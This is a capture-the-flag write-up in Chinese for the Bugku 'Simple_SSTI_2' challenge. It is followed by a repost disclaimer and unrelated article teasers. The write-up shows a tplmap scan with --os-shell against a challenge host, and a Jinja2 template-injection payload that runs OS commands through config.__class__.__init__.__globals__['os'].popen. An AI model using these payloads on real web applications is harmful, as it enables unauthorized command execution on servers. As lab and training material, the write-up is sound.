bugkuctf-Simple_SSTI_2

2023-10-29

方法一:tplmap

直接扫
python2 tplmap.py -u 'http://114.67.175.224:10589/?flag' 

可以注入,使用–os-shell提权
python2 tplmap.py -u 'http://114.67.175.224:10589/?flag' --os-shell
ls查看目录

 

方法二 :flag构造参数

ls查看
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
查看根目录

##__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 ##__init__ 初始化类,返回的类型是function ##__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 ##os.popen() 方法用于从一个命令打开一个管道。 ##open() 方法用于打开一个文件,并返回文件对象

 爆app

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app%27).read()%20}}

 最后cat flag得到flag

参考文章

Simple_SSTI_2 - 网抑云黑胶SVIP用户 - 博客园

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

bugkuctf-Simple_SSTI_2 的相关文章

  • 双一流博士整理的计算机视觉学习路线(深度学习+传统图像处理)

    因工作需要 年初花了4个月左右时间学习了机器学习 神经网络相关的知识 工作日每天大概学习4 6个小时 周末每天大概10个小时 工作中的需求应对也得心应手了 想快速入门的话 从自己的经验看 可以先不看高等数学和线性代数 因为机器学习和深度学习
  • ROS常用命令(个人备忘录)

    ROS常用命令 个人备忘录 可视化话题节点与话题 rosrun rqt graph rqt graph 新建功能包 catkin create pkg XXXXXX std msgs rospy roscpp 查看tf树 rosrun rq
  • celery的用法

    Celery是一个基于消息传递的分布式任务队列 它通过将任务发送到消息队列中并由工作进程进行消费来实现任务的异步处理 以下是Celery的实现和用法的详细描述 1 创建Celery应用 在Python代码中 首先需要创建一个Celery应用
  • 一篇文章让你学会正则表达式

    正则表达式是一个强大的文本匹配工具 但是 对于初学者来说 众多的符号和规则可能让人难以理解 其实 你不需要记住所有的正则表达式语法 本文将分享一些简单而实用的技巧 帮助理解正则表达式的核心概念 轻松使用正则表达式 基础入门 概念 正则表达式
  • Maven将JavaFX项目打包为exe(集成JRE)

    Maven将JavaFX项目打包为exe 集成JRE 最近用 JavaFx 写了个小工具 最终完成时需要打包成 exe 可执行文件并且集成 JRE 环境 在网上找了很多方法大多使用 exe4J 或一大堆 Maven 插件进行打包 这些方法不
  • 【人工智能】“AI + 算力 = 最强龙头”,你怎么看?

    文章目录 一 AI 与算力相辅相成 1 1 AI 和算力的概念 1 2 AI 和算力的应用领域 1 3 AI 需要算力的支持 1 4 AI 和算力的结合带来的巨大价值 1 4 1 人脸识别 1 4 2 语音识别 1 4 3 自动驾驶 1 4
  • webgl的shader系列(6)——phong光照模型和blinphong光照模型

    比较好的一篇理解phong光照模型的文章 const VSHADER varying vec3 v Normal varying vec3 v position void main gl Position projectionMatrix
  • 设计分享

    vx 嵌入式工程师成长日记 https mp weixin qq com s biz Mzg4Mzc3NDUxOQ mid 2247484124 idx 1 sn 9fcf9eb8581b2190cc84bfeeb6ef32e3 chksm
  • 解决eclipse运行服务器时被占用的问题

    Several ports 8005 8080 required by Tomcat v9 0 Server at localhost 2 are already in use The server may already be runni

随机推荐